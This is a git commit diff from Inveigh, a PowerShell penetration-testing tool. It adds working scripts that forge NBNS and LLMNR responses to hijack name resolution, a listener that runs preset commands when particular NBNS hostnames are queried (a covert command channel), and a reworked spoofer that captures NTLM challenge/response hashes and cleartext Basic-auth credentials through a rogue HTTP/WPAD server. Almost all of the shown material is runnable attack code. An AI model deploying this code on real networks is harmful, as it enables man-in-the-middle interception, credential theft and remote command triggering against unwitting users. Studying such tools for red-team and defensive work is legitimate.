diff options
author | Kevin Robertson <robertsonk@gmail.com> | 2016-08-21 19:59:20 -0400 |
---|---|---|
committer | Kevin Robertson <robertsonk@gmail.com> | 2016-08-21 19:59:20 -0400 |
commit | a991da593917b5b9ea282a32abea890c989ee2bd (patch) | |
tree | a7fd216a908f6289401b7e1fdca8087d9795ac3c | |
parent | 747b0d1f2fff960e378776a3cdcc9fd857a387dc (diff) | |
download | Inveigh-a991da593917b5b9ea282a32abea890c989ee2bd.tar.gz Inveigh-a991da593917b5b9ea282a32abea890c989ee2bd.zip |
Early version of Inveigh 1.2 with the new Inveigh-Unprivileged script. This is still a work in progress and has not been fully tested.
1. Inveigh-Unprivileged – This script contains only LLMNR/NBNS spoofing
and hash capture methods that do not require local admin access. The
NBNS spoofer can be used without disabling the local NBNS service. The
LLMNR spoofer does require stopping (needs admin) the local service and
freeing up port 5355. It will work without admin on a system with LLMNR
disabled. This script replaces Inveigh-BruteForce since it contains the
same functionality. Note that there can still be systems configurations
that will prevent Inveigh-Unprivileged from working, and require admin
access to change (e.g. local firewall blocking traffic, LLMNR enabled).
2. Extras – Added an extras directory for functions that don’t fit the
main scripts.
a. Send-NBNSResponse – This function sends a crafted NBNS response
packet to a specific target. For name resolution to be successful, the
specified TargetIP, Hostname, and TransactionID must match a very (very
very) recent NBNS request. You must have an external method
(wireshark,etc) of viewing the required NBNS request fields for traffic
on the target subnet. The odds of pulling this attack off manually are
slim due to the narrow response window. I've only been able to get it to
work manually by watching tshark with the the transaction ID being
listed in the output. Ideally, this function would be fed by another
script.
b. Send-LLMNResponse – Just like Send-NBNSResponse but even harder to
use manually.
c. Invoke-NBNSC2 - Invoke-NBNSC2 will listen for NBNS requests and
execute set commands if requests for specific hostnames are received.
The function must be supplied with an even number of Hostnames and
Commands. NBNS requests can be sent from a NBNS enabled system on the
same subnet using ping, etc.
-rw-r--r-- | Extras/Invoke-NBNSC2.ps1 | 155 | ||||
-rw-r--r-- | Extras/Send-LLMNRResponse.ps1 | 87 | ||||
-rw-r--r-- | Extras/Send-NBNSResponse.ps1 | 105 | ||||
-rw-r--r-- | Inveigh.psm1 | 4 | ||||
-rw-r--r-- | Scripts/Inveigh-Unprivileged.ps1 (renamed from Scripts/Inveigh-BruteForce.ps1) | 750 | ||||
-rw-r--r-- | Scripts/Inveigh.ps1 | 6 |
6 files changed, 1006 insertions, 101 deletions
diff --git a/Extras/Invoke-NBNSC2.ps1 b/Extras/Invoke-NBNSC2.ps1 new file mode 100644 index 0000000..f04d7ef --- /dev/null +++ b/Extras/Invoke-NBNSC2.ps1 @@ -0,0 +1,155 @@ +function Invoke-NBNSC2 +{ +<# +.SYNOPSIS +Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are +received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be +sent from a NBNS enabled system on the same subnet using ping, etc. + +.PARAMETER Hostnames +A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command +from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]). + +.PARAMETER Commands +An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets. + +.PARAMETER ExitHostname +Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames. + +.PARAMETER RunTime +(Integer) Set the run time duration. + +.PARAMETER RunTimeUnit +Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days. + +.EXAMPLE +Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +[CmdletBinding()] +param +( +[parameter(Mandatory=$true)][Array]$Hostnames = "", +[parameter(Mandatory=$true)][Array]$Commands = "", +[parameter(Mandatory=$true)][String]$ExitHostname = "", +[parameter(Mandatory=$false)][Int]$RunTime="", +[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes", +[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if($Hostnames.Count -ne $Commands.Count) +{ + throw "Must use an equal number of Hostnames and Commands." +} +elseif($Hostnames -contains $ExitHostname) +{ + throw "ExitHostname cannot be used as in Hostnames." +} + +if($RunTime) +{ + if($RunTimeUnit -like 'Minutes') + { + $runtime_timeout = new-timespan -Minutes $RunTime + } + elseif($RunTimeUnit -like 'Hours') + { + $runtime_timeout = new-timespan -Hours $RunTime + } + elseif($RunTimeUnit -like 'Days') + { + $runtime_timeout = new-timespan -Days $RunTime + } + + $runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() +} + +$Hostnames = $Hostnames | % {$_.ToUpper()} +$running = $true +$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) +$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 +$NBNS_UDP_client.Client.ReceiveTimeout = 10000 +$control_timeout = new-timespan -Seconds 1 +$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + +while($running) +{ + try + { + $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) + } + catch + { + $NBNS_request_data = $null + } + + if($NBNS_request_data) + { + $NBNS_query_string_encoded = $([Text.Encoding]::UTF8.GetString($NBNS_request_data)) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.SubString(13,($NBNS_query_string_encoded.Length - 16)) + $NBNS_query_string_encoded = $NBNS_query_string_encoded -replace "00","" + + if($NBNS_query_string_encoded -like '*CA*') + { + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + } + + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + if($NBNS_query_string_encoded.Length -gt 1) + { + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + } + + if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout) + { + $NBNS_UDP_client.Close() + $command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string) + $NBNS_query_string = '' + & $Commands[$command_index] + $control_timeout = new-timespan -Seconds 5 + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 10000 + } + elseif($ExitHostname -like $NBNS_query_string) + { + $running = $false + } + } + + if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout) + { + $running = $false + } + +} + +$NBNS_UDP_client.Close() + +}
\ No newline at end of file diff --git a/Extras/Send-LLMNRResponse.ps1 b/Extras/Send-LLMNRResponse.ps1 new file mode 100644 index 0000000..cc22091 --- /dev/null +++ b/Extras/Send-LLMNRResponse.ps1 @@ -0,0 +1,87 @@ + +function Send-LLMNRResponse +{ +<# +.SYNOPSIS +Send-LLMNRResponse sends a crafted LLMNR response packet to a specific target. For name resolution to be successful, +the specified TargetIP, TargetPort, Hostname, and TransactionID must match a very (very very) recent LLMNR request. +You must have an external method (wireshark,etc) of viewing the required LLMNR request fields for traffic on the +target subnet. The odds of pulling this attack off manually are slim if not impossible due to the narrow response +window. Ideally, this function would be fed by another script. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER LLMNRTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER SendPort +Default = Random Available: Specify a source port for the LLMNR response. Note that the standard port is 5355 +which will cause a binding conflict if LLMNR is enabled on the host system. A random port seems to work fine. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system +other than the function host. + +.PARAMETER TargetIP +Specify an IP address to target for the LLMNR response. + +.PARAMETER TargetPort +Specify an port to target for the LLMNR response. This port must match the source port included in the request. + +.EXAMPLE +Send-LLMNRResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + + +[CmdletBinding()] +param +( +[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", +[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="", +[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="", +[parameter(Mandatory=$true)][String]$Hostname = "", +[parameter(Mandatory=$true)][Int]$TargetPort="", +[parameter(Mandatory=$false)][Int]$SendPort="0", +[parameter(Mandatory=$false)][Int]$LLMNRTTL="30", +[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SpooferIP) +{ + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +$hostname_bytes = [System.Text.Encoding]::UTF8.GetBytes($Hostname) +$LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) +[Array]::Reverse($LLMNR_TTL_bytes) +$Transaction_ID_encoded = $TransactionID.Insert(2,'-') +$Transaction_ID_bytes = $Transaction_ID_encoded.Split('-') | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +$LLMNR_response_packet = $Transaction_ID_bytes + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $hostname_bytes.Count + + $hostname_bytes + + 0x00,0x00,0x01,0x00,0x01 + + $hostname_bytes.Count + + $hostname_bytes + + 0x00,0x00,0x01,0x00,0x01 + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + +$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort) +$destination_IP = [System.Net.IPAddress]::Parse($TargetIP) +$destination_point = New-Object Net.IPEndpoint($destination_IP,$TargetPort) +$send_socket.Connect($destination_point) +$send_socket.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) +$send_socket.Close() +}
\ No newline at end of file diff --git a/Extras/Send-NBNSResponse.ps1 b/Extras/Send-NBNSResponse.ps1 new file mode 100644 index 0000000..3d5ed02 --- /dev/null +++ b/Extras/Send-NBNSResponse.ps1 @@ -0,0 +1,105 @@ + +function Send-NBNSResponse +{ +<# +.SYNOPSIS +Send-NBNSResponse sends a crafted NBNS response packet to a specific target. For name resolution to be successful, +the specified TargetIP, Hostname, and TransactionID must match a very (very very) recent NBNS request. You must +have an external method (wireshark,etc) of viewing the required NBNS request fields for traffic on the target +subnet. The odds of pulling this attack off manually are slim due to the narrow response window. I've only been +able to get it to work manually by watching tshark with the the transaction ID being listed in the output. +Ideally, this function would be fed by another script. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER SendPort +Default = 137: Specify a source port for the NBNS response. + +.PARAMETER SpooferIP +IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system +other than the function host. + +.PARAMETER TargetIP +IP address to target for the NBNS response. + +.PARAMETER TransactionID +NBNS transaction ID that matches the transaction from the NBNS request. + +.EXAMPLE +Send-NBNSResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + + +[CmdletBinding()] +param +( +[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", +[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="", +[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="", +[parameter(Mandatory=$true)][String]$Hostname = "", +[parameter(Mandatory=$false)][Int]$SendPort="137", +[parameter(Mandatory=$false)][Int]$NBNSTTL="165", +[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SpooferIP) +{ + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +$Hostname = $Hostname.ToUpper() + +$hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, + 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 + +$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) +$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) +$hostname_encoded = $hostname_encoded.Replace("-","") +$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) +$NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) +[Array]::Reverse($NBNS_TTL_bytes) +$Transaction_ID_encoded = $TransactionID.Insert(2,'-') +$Transaction_ID_bytes = $Transaction_ID_encoded.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +for($i=0; $i -lt $hostname_encoded.Count; $i++) +{ + + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + +} + +$NBNS_response_packet = $Transaction_ID_bytes + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + +$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort) +$destination_IP = [System.Net.IPAddress]::Parse($TargetIP) +$destination_point = New-Object Net.IPEndpoint($destination_IP,137) +$send_socket.Connect($destination_point) +$send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length) +$send_socket.Close() +}
\ No newline at end of file diff --git a/Inveigh.psm1 b/Inveigh.psm1 index 3e0cf7e..1e76490 100644 --- a/Inveigh.psm1 +++ b/Inveigh.psm1 @@ -1,10 +1,10 @@ <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. +Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool. .LINK https://github.com/Kevin-Robertson/Inveigh #> Import-Module $PWD\Scripts\Inveigh.ps1 -Import-Module $PWD\Scripts\Inveigh-BruteForce.ps1 +Import-Module $PWD\Scripts\Inveigh-Unprivileged.ps1 Import-Module $PWD\Scripts\Inveigh-Relay.ps1
\ No newline at end of file diff --git a/Scripts/Inveigh-BruteForce.ps1 b/Scripts/Inveigh-Unprivileged.ps1 index 2fa6cfd..9a3d2ee 100644 --- a/Scripts/Inveigh-BruteForce.ps1 +++ b/Scripts/Inveigh-Unprivileged.ps1 @@ -1,41 +1,74 @@ -function Invoke-InveighBruteForce +function Invoke-InveighUnprivileged { <# .SYNOPSIS -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. +Invoke-InveighUnprivileged is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP. This +version of Inveigh does not require local admin access. .DESCRIPTION -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following -features: +Invoke-InveighUnprivileged is a Windows PowerShell LLMNR/NBNS spoofer with the following features: - Targeted IPv4 NBNS brute force spoofer with granular control + Local admin is not required for any feature + IPv4 NBNS spoofer with granular control that can be run with or without disabling the local NBNS service + IPv4 LLMNR spoofer with granular control that can be run only with the local LLMNR service disabled + Targeted IPv4 NBNS transaction ID brute force spoofer with granular control NTLMv1/NTLMv2 challenge/response capture over HTTP + Basic auth cleartext credential capture over HTTP + WPAD server capable of hosting a basic or custom wpad.dat file + HTTP server capable of hosting limited content Granular control of console and file output Run time control -This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated -administrator or SYSTEM shell. +This function contains only features that do not require local admin access. Note that there are caveats. A local +firewall can still prevent prevent traffic from reaching this function's listeners. Also, if LLMNR is enabled on +the host, the LLMNR spoofer will not work. Both of these scenarios would still require local admin access to +change. .PARAMETER SpooferIP -Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the Inveigh Brute Force host. +Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a +system other than the Inveigh host. .PARAMETER SpooferTarget -Specify an IP address to target for brute force NBNS spoofing. +Specify an IP address to target for NBNS brute force spoofing. -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user +challenge/response has been captured. + +.PARAMETER LLMNR +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. .PARAMETER NBNS Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER NBNSBruteForce +Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofing. + .PARAMETER NBNSPause Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - .PARAMETER HTTP Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. @@ -87,9 +120,21 @@ Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response capture Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +.PARAMETER ConsoleStatus +(Integer) Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. + .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. +.PARAMETER FileUnique +Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time file output is enabled. + .PARAMETER StatusOutput Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. @@ -116,15 +161,14 @@ Default = 0: (0,1,2) Enable/Disable features for better operation through extern Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire .EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. +Import-Module .\Inveigh.psd1;Invoke-InveighUnprivileged -ConsoleOutput Y .EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 +Invoke-InveighUnprivileged -NBNSBruteForce Y -SpooferTarget 192.168.1.11 -Hostname server1 Target 192.168.1.11 for 'server1' hostname spoofs. .EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 +Invoke-InveighUnprivileged -NBNSBruteForce Y -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. .LINK @@ -136,9 +180,14 @@ https://github.com/Kevin-Robertson/Inveigh param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", @@ -146,15 +195,21 @@ param [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes=@("00","20"), [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP="", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferTarget="", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", + [parameter(Mandatory=$false)][Array]$SpooferHostsReply="", + [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore="", + [parameter(Mandatory=$false)][Array]$SpooferIPsReply="", + [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore="", [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][Int]$ConsoleStatus="", [parameter(Mandatory=$false)][Int]$HTTPPort="80", - [parameter(Mandatory=$false)][Int]$NBNSPause="", + [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause="", + [parameter(Mandatory=$false)][Int]$LLMNRTTL="30", [parameter(Mandatory=$false)][Int]$NBNSTTL="165", [parameter(Mandatory=$false)][Int]$WPADPort="", [parameter(Mandatory=$false)][Int]$RunCount="", @@ -171,14 +226,19 @@ if ($invalid_parameter) throw "$($invalid_parameter) is not a valid parameter." } -if(!$SpooferIP) +if($NBNS -eq 'Y' -or $LLMNR -eq 'Y' -and $NBNSBruteForce -eq 'Y') { - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + throw "You cannot use NBNSBruteForce with NBNS or LLMNR enabled" } -if($NBNS -eq 'Y' -and !$SpooferTarget) +if($NBNSBruteForce -eq 'Y' -and !$SpooferTarget) +{ + throw "You must specify a -SpooferTarget if enabling -NBNSBruteForce" +} + +if(!$SpooferIP) { - throw "You must specify a -SpooferTarget if enabling -NBNS" + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } if($WPADIP -or $WPADPort) @@ -218,9 +278,9 @@ if(!$inveigh) $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList } -if($inveigh.bruteforce_running) +if($inveigh.unprivileged_running) { - throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" + throw "Invoke-InveighUnprivileged is already running, use Stop-Inveigh" } $inveigh.console_queue = New-Object System.Collections.ArrayList @@ -239,7 +299,7 @@ $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" $inveigh.challenge = $Challenge $inveigh.hostname_spoof = $false -$inveigh.bruteforce_running = $true +$inveigh.unprivileged_running = $true if($StatusOutput -eq 'Y') { @@ -282,8 +342,8 @@ else } # Write startup messages -$inveigh.status_queue.Add("Inveigh Brute Force started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force started")]) > $null +$inveigh.status_queue.Add("Inveigh Unprivileged started at $(Get-Date -format 's')") > $null +$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Unprivileged started")]) > $null $firewall_status = netsh advfirewall show allprofiles state | where {$_ -match 'ON'} @@ -292,15 +352,89 @@ if($firewall_status) $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null } +if($LLMNR -eq 'Y') +{ + $LLMNR_port_check = netstat -ap UDP | findstr 0.0.0.0:5355 + + if(!$LLMNR_port_check) + { + $inveigh.status_queue.Add("LLMNR Spoofing Enabled") > $null + $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null + $LLMNR_response_message = "- spoofed response has been sent" + } + else + { + $LLMNR = 'N' + $inveigh.status_queue.Add("LLMNR Spoofing Disabled Due To In Use Port 5355") > $null + } +} +else +{ + $inveigh.status_queue.Add("LLMNR Spoofing Disabled") > $null + $LLMNR_response_message = "- LLMNR spoofing is disabled" +} + if($NBNS -eq 'Y') +{ + $NBNSTypes_output = $NBNSTypes -join "," + + if($NBNSTypes.Count -eq 1) + { + $inveigh.status_queue.Add("NBNS Spoofing Of Type $NBNSTypes_output Enabled") > $null + } + else + { + $inveigh.status_queue.Add("NBNS Spoofing Of Types $NBNSTypes_output Enabled") > $null + } + + $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null + $NBNS_response_message = "- spoofed response has been sent" +} +else +{ + $inveigh.status_queue.Add("NBNS Spoofing Disabled") > $null + $NBNS_response_message = "- NBNS spoofing is disabled" +} + +if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofing requests for " + $SpooferHostsReply -join ",") > $null +} + +if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Ignoring requests for " + $SpooferHostsIgnore -join ",") > $null +} + +if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofing requests from " + $SpooferIPsReply -join ",") > $null +} + +if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Ignoring requests from " + $SpooferIPsIgnore -join ",") > $null +} + +if($SpooferRepeat -eq 'N') +{ + $inveigh.spoofer_repeat = $false + $inveigh.status_queue.Add("Spoofer Repeating Disabled") > $null +} +else +{ + $inveigh.spoofer_repeat = $true +} + +if($NBNSBruteForce -eq 'Y') { $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $SpooferTarget") > $null $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $Hostname") > $null - if($NBNSPause) + if($NBNSBruteForcePause) { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSPause Seconds") > $null + $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null } $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null @@ -377,6 +511,16 @@ if($ConsoleOutput -eq 'Y') { $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null + } + } else { @@ -392,6 +536,15 @@ else } +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + if($FileOutput -eq 'Y') { $inveigh.status_queue.Add("Real Time File Output Enabled") > $null @@ -403,6 +556,15 @@ else $inveigh.status_queue.Add("Real Time File Output Disabled") > $null } +if($FileUnique -eq 'Y') +{ + $inveigh.file_unique = $true +} +else +{ + $inveigh.file_unique = $false +} + if($RunTime -eq 1) { $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null @@ -506,6 +668,7 @@ $shared_basic_functions_scriptblock = $inveigh.HTTP_listener.server.Close() Start-Sleep -s 1 $inveigh.HTTP_listener.Stop() + Start-Sleep -s 5 } } @@ -513,7 +676,7 @@ $shared_basic_functions_scriptblock = # HTTP Server 